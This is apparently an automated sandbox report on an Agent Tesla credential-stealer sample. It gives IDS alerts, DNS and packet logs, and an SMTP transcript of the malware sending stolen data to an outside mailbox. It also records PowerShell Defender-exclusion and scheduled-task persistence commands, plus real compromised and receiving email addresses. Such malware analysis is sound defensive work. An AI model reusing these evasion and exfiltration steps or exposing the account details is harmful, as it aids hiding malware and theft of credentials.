IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9956c	0x99600	6fed7369000d8ff95e1a875f99c665f2	False	0.9883226365118174	data	7.992542733514758	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x9c000	0x620	0x800	f803d6e5bcf7e80b07669ae1dff24843	False	0.33544921875	data	3.4494112256368665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x9e000	0xc	0x200	9f1a6c5140e29d73dc5109cb0f0860fb	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x9c090	0x390	data			0.42105263157894735
RT_MANIFEST	0x9c430	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/18/24-14:32:22.806223	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49711	587	192.168.2.5	203.82.48.116
03/18/24-14:32:22.806223	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49711	587	192.168.2.5	203.82.48.116
03/18/24-14:32:22.806223	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49711	587	192.168.2.5	203.82.48.116
03/18/24-14:32:19.942080	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49708	587	192.168.2.5	203.82.48.116
03/18/24-14:32:22.806223	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49711	587	192.168.2.5	203.82.48.116
03/18/24-14:32:19.942080	TCP	2839723	ETPRO TROJAN Win32/Agent Tesla SMTP Activity	49708	587	192.168.2.5	203.82.48.116
03/18/24-14:32:19.942146	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49708	587	192.168.2.5	203.82.48.116
03/18/24-14:32:19.942146	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49708	587	192.168.2.5	203.82.48.116
03/18/24-14:32:22.806192	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49711	587	192.168.2.5	203.82.48.116
03/18/24-14:32:22.806192	TCP	2839723	ETPRO TROJAN Win32/Agent Tesla SMTP Activity	49711	587	192.168.2.5	203.82.48.116
03/18/24-14:32:19.942146	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49708	587	192.168.2.5	203.82.48.116
03/18/24-14:32:19.942146	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49708	587	192.168.2.5	203.82.48.116

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2024 14:32:17.089112997 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:17.386487007 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:17.386702061 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:17.686007977 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:17.686680079 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:17.985995054 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:17.986032963 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:18.140448093 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:18.438422918 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:18.439279079 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:18.450187922 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:18.747550964 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:18.747576952 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:18.747899055 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:19.045941114 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:19.046175957 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:19.344685078 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:19.344870090 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:19.643093109 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:19.643418074 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:19.941389084 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:19.942080021 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:19.942146063 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:19.942173004 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:19.942204952 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:20.108503103 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:20.239593029 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:20.406567097 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:20.406672001 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:20.705231905 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:20.705467939 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:21.003506899 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:21.003885984 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:21.011807919 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:21.309736967 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:21.311292887 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:21.311584949 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:21.609409094 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:21.609652996 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:21.609921932 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:21.908092976 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:21.908449888 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:22.207530975 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:22.207885027 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:22.506844044 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:22.507055044 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:22.805356026 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:22.806191921 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:22.806222916 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:22.806255102 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:22.806255102 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:23.104370117 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:30.138117075 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:30.178833008 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:32:32.154854059 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:32:32.210038900 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:33:56.911725044 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:33:57.209305048 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:33:57.209341049 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:33:57.209572077 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:33:57.209693909 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:33:57.553703070 CET	49708	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:33:57.851042032 CET	587	49708	203.82.48.116	192.168.2.5
Mar 18, 2024 14:34:00.117048979 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:34:00.415091991 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:34:00.415136099 CET	587	49711	203.82.48.116	192.168.2.5
Mar 18, 2024 14:34:00.415267944 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:34:00.415498018 CET	49711	587	192.168.2.5	203.82.48.116
Mar 18, 2024 14:34:00.713021994 CET	587	49711	203.82.48.116	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2024 14:32:16.886714935 CET	56775	53	192.168.2.5	1.1.1.1
Mar 18, 2024 14:32:17.073313951 CET	53	56775	1.1.1.1	192.168.2.5
Mar 18, 2024 14:32:17.997617006 CET	52507	53	192.168.2.5	1.1.1.1
Mar 18, 2024 14:32:18.117674112 CET	53	52507	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 18, 2024 14:32:16.886714935 CET	192.168.2.5	1.1.1.1	0x9d93	Standard query (0)	mail.cup.org.pk	A (IP address)	IN (0x0001)	false
Mar 18, 2024 14:32:17.997617006 CET	192.168.2.5	1.1.1.1	0xc482	Standard query (0)	_kerberos._tcp.dc._msdcs.cup.org.pk	33	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 18, 2024 14:32:17.073313951 CET	1.1.1.1	192.168.2.5	0x9d93	No error (0)	mail.cup.org.pk		203.82.48.116	A (IP address)	IN (0x0001)	false
Mar 18, 2024 14:32:18.117674112 CET	1.1.1.1	192.168.2.5	0xc482	Name error (3)	_kerberos._tcp.dc._msdcs.cup.org.pk	none	none	33	IN (0x0001)	false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Mar 18, 2024 14:32:17.686007977 CET	587	49708	203.82.48.116	192.168.2.5	220 frontend.nayatel.com Axigen ESMTP ready
Mar 18, 2024 14:32:17.686680079 CET	49708	587	192.168.2.5	203.82.48.116	EHLO 210979
Mar 18, 2024 14:32:17.986032963 CET	587	49708	203.82.48.116	192.168.2.5	250-frontend.nayatel.com Axigen ESMTP hello 250-PIPELINING 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI 250-8BITMIME 250-BINARYMIME 250-CHUNKING 250-SIZE 2097152000 250-STARTTLS 250-HELP 250 OK
Mar 18, 2024 14:32:18.140448093 CET	49708	587	192.168.2.5	203.82.48.116	AUTH gssapi TlRMTVNTUAABAAAAl4II4gAAAAAAAAAAAAAAAAAAAAAKAGFKAAAADw==
Mar 18, 2024 14:32:18.439279079 CET	587	49708	203.82.48.116	192.168.2.5	535 Authentication failed
Mar 18, 2024 14:32:18.450187922 CET	49708	587	192.168.2.5	203.82.48.116	AUTH login bmFzZWVyQGN1cC5vcmcucGs=
Mar 18, 2024 14:32:18.747576952 CET	587	49708	203.82.48.116	192.168.2.5	334 UGFzc3dvcmQ6
Mar 18, 2024 14:32:19.045941114 CET	587	49708	203.82.48.116	192.168.2.5	235 Authentication successful
Mar 18, 2024 14:32:19.046175957 CET	49708	587	192.168.2.5	203.82.48.116	MAIL FROM:<naseer@cup.org.pk>
Mar 18, 2024 14:32:19.344685078 CET	587	49708	203.82.48.116	192.168.2.5	250 Sender accepted
Mar 18, 2024 14:32:19.344870090 CET	49708	587	192.168.2.5	203.82.48.116	RCPT TO:<admin@glamourstorepa.com.br>
Mar 18, 2024 14:32:19.643093109 CET	587	49708	203.82.48.116	192.168.2.5	250 Recipient accepted
Mar 18, 2024 14:32:19.643418074 CET	49708	587	192.168.2.5	203.82.48.116	DATA
Mar 18, 2024 14:32:19.941389084 CET	587	49708	203.82.48.116	192.168.2.5	354 Ready to receive data; remember <CRLF>.<CRLF>
Mar 18, 2024 14:32:19.942204952 CET	49708	587	192.168.2.5	203.82.48.116	.
Mar 18, 2024 14:32:20.705231905 CET	587	49711	203.82.48.116	192.168.2.5	220 frontend.nayatel.com Axigen ESMTP ready
Mar 18, 2024 14:32:20.705467939 CET	49711	587	192.168.2.5	203.82.48.116	EHLO 210979
Mar 18, 2024 14:32:21.003885984 CET	587	49711	203.82.48.116	192.168.2.5	250-frontend.nayatel.com Axigen ESMTP hello 250-PIPELINING 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI 250-8BITMIME 250-BINARYMIME 250-CHUNKING 250-SIZE 2097152000 250-STARTTLS 250-HELP 250 OK
Mar 18, 2024 14:32:21.011807919 CET	49711	587	192.168.2.5	203.82.48.116	AUTH gssapi TlRMTVNTUAABAAAAl4II4gAAAAAAAAAAAAAAAAAAAAAKAGFKAAAADw==
Mar 18, 2024 14:32:21.311292887 CET	587	49711	203.82.48.116	192.168.2.5	535 Authentication failed
Mar 18, 2024 14:32:21.311584949 CET	49711	587	192.168.2.5	203.82.48.116	AUTH login bmFzZWVyQGN1cC5vcmcucGs=
Mar 18, 2024 14:32:21.609652996 CET	587	49711	203.82.48.116	192.168.2.5	334 UGFzc3dvcmQ6
Mar 18, 2024 14:32:21.908092976 CET	587	49711	203.82.48.116	192.168.2.5	235 Authentication successful
Mar 18, 2024 14:32:21.908449888 CET	49711	587	192.168.2.5	203.82.48.116	MAIL FROM:<naseer@cup.org.pk>
Mar 18, 2024 14:32:22.207530975 CET	587	49711	203.82.48.116	192.168.2.5	250 Sender accepted
Mar 18, 2024 14:32:22.207885027 CET	49711	587	192.168.2.5	203.82.48.116	RCPT TO:<admin@glamourstorepa.com.br>
Mar 18, 2024 14:32:22.506844044 CET	587	49711	203.82.48.116	192.168.2.5	250 Recipient accepted
Mar 18, 2024 14:32:22.507055044 CET	49711	587	192.168.2.5	203.82.48.116	DATA
Mar 18, 2024 14:32:22.805356026 CET	587	49711	203.82.48.116	192.168.2.5	354 Ready to receive data; remember <CRLF>.<CRLF>
Mar 18, 2024 14:32:22.806255102 CET	49711	587	192.168.2.5	203.82.48.116	.
Mar 18, 2024 14:32:30.138117075 CET	587	49708	203.82.48.116	192.168.2.5	250 Mail queued for delivery
Mar 18, 2024 14:32:32.154854059 CET	587	49711	203.82.48.116	192.168.2.5	250 Mail queued for delivery
Mar 18, 2024 14:33:56.911725044 CET	49708	587	192.168.2.5	203.82.48.116	QUIT
Mar 18, 2024 14:33:57.209305048 CET	587	49708	203.82.48.116	192.168.2.5	221-frontend.nayatel.com Axigen ESMTP is closing connection 221 Good bye
Mar 18, 2024 14:34:00.117048979 CET	49711	587	192.168.2.5	203.82.48.116	QUIT
Mar 18, 2024 14:34:00.415091991 CET	587	49711	203.82.48.116	192.168.2.5	221-frontend.nayatel.com Axigen ESMTP is closing connection 221 Good bye

Target ID:	0
Start time:	14:32:11
Start date:	18/03/2024
Path:	C:\Users\user\Desktop\P020241901.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\P020241901.exe
Imagebase:	0x30000
File size:	631'296 bytes
MD5 hash:	F061401DD36DC8E88017EF9F9A43E5A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:32:12
Start date:	18/03/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe
Imagebase:	0xf60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:32:12
Start date:	18/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:32:12
Start date:	18/03/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
Imagebase:	0xf60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:32:12
Start date:	18/03/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp
Imagebase:	0xb30000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:32:12
Start date:	18/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:32:13
Start date:	18/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:32:13
Start date:	18/03/2024
Path:	C:\Users\user\Desktop\P020241901.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\P020241901.exe
Imagebase:	0x530000
File size:	631'296 bytes
MD5 hash:	F061401DD36DC8E88017EF9F9A43E5A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.3234380229.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.3234380229.0000000002A6A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.3234380229.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.3234380229.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:32:14
Start date:	18/03/2024
Path:	C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
Imagebase:	0x290000
File size:	631'296 bytes
MD5 hash:	F061401DD36DC8E88017EF9F9A43E5A7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:32:15
Start date:	18/03/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:32:17
Start date:	18/03/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpBEA.tmp
Imagebase:	0xb30000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:32:17
Start date:	18/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:32:17
Start date:	18/03/2024
Path:	C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
Imagebase:	0x7b0000
File size:	631'296 bytes
MD5 hash:	F061401DD36DC8E88017EF9F9A43E5A7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3233407833.0000000002B59000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3233407833.0000000002B3E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.3230734954.0000000000431000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3230734954.0000000000431000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.3233407833.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3233407833.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	260
Total number of Limit Nodes:	11

Executed Functions

Function 04A96CC8 Relevance: .8, Instructions: 778COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012790551.0000000004A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a90000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331669c5db75351fd39c6efd97fbf2abdf67e9a8f8e8705dfacd81176d7b483e
Instruction ID: aa2d0e86294172da6f11b0ab2cb828e0ea9c1dcb8b84df16e96a81891b001c11
Opcode Fuzzy Hash: 331669c5db75351fd39c6efd97fbf2abdf67e9a8f8e8705dfacd81176d7b483e
Instruction Fuzzy Hash: B272F574A11219CFDB24DF68C990B9EB7B2BF89301F1085E9D409AB365DB30AE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04A96CB9 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012790551.0000000004A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a90000_P020241901.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86dbb427bfb1a29e8489dee9bb0403ba4fecf1d19915b4ada1bb2a8ae9c6a383
Instruction ID: 60f44f82821bf3e1ec62c75c71d4117d340e77cbfac66ea688f3871c4321735f
Opcode Fuzzy Hash: 86dbb427bfb1a29e8489dee9bb0403ba4fecf1d19915b4ada1bb2a8ae9c6a383
Instruction Fuzzy Hash: 6B62D434A11219CFDB24DF64C990B9EB7B2BF89305F1085EAD509AB364DB34AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06ED4CC4 Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06ED4F06

Memory Dump Source

Source File: 00000000.00000002.2019224285.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ed0000_P020241901.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ae1dc705f01577a95f04567bcc0cc834795cee5f9c505f957d1174349391db17
Instruction ID: 87ad74966c45e67cf36e573fa5c72c725eacc9f6b676a759153a1143f7a18ff4
Opcode Fuzzy Hash: ae1dc705f01577a95f04567bcc0cc834795cee5f9c505f957d1174349391db17
Instruction Fuzzy Hash: AF916B71D00319DFDB64DF68C840BEEBAF2BF48314F1485A9E808A7294DB749986CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06ED4CD0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06ED4F06

Memory Dump Source

Source File: 00000000.00000002.2019224285.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ed0000_P020241901.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 431b707a8b11ca8d94be6636fc4c13f10c7971a11458284451ac555f6bb51e73
Instruction ID: 03bd19e8b50a9f4e1dd0fc793ec98b2793a7658d30e80d2df671e7a3dee1149f
Opcode Fuzzy Hash: 431b707a8b11ca8d94be6636fc4c13f10c7971a11458284451ac555f6bb51e73
Instruction Fuzzy Hash: 30917A71D00319CFDB64DF68C840BAEBBF2BF48304F1485A9E808A7294DB749986CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0097AE70 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0097B0C6

Memory Dump Source

Source File: 00000000.00000002.2000651487.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_970000_P020241901.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8ae84b510d7024248ef9e9df9e2eb7cf506b15be35172b9752a0ab9ffb0f0e22
Instruction ID: 9f56c5b49ac51bee73c92aae103f5bdc788b2c94451feced9a938b211aa64a09
Opcode Fuzzy Hash: 8ae84b510d7024248ef9e9df9e2eb7cf506b15be35172b9752a0ab9ffb0f0e22
Instruction Fuzzy Hash: 6A7157B1A00B058FD724DF2AD44079ABBF5FF88304F10892DE48AD7A50DB75E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04A90BFC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04A94381

Memory Dump Source

Source File: 00000000.00000002.2012790551.0000000004A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a90000_P020241901.jbxd

Similarity

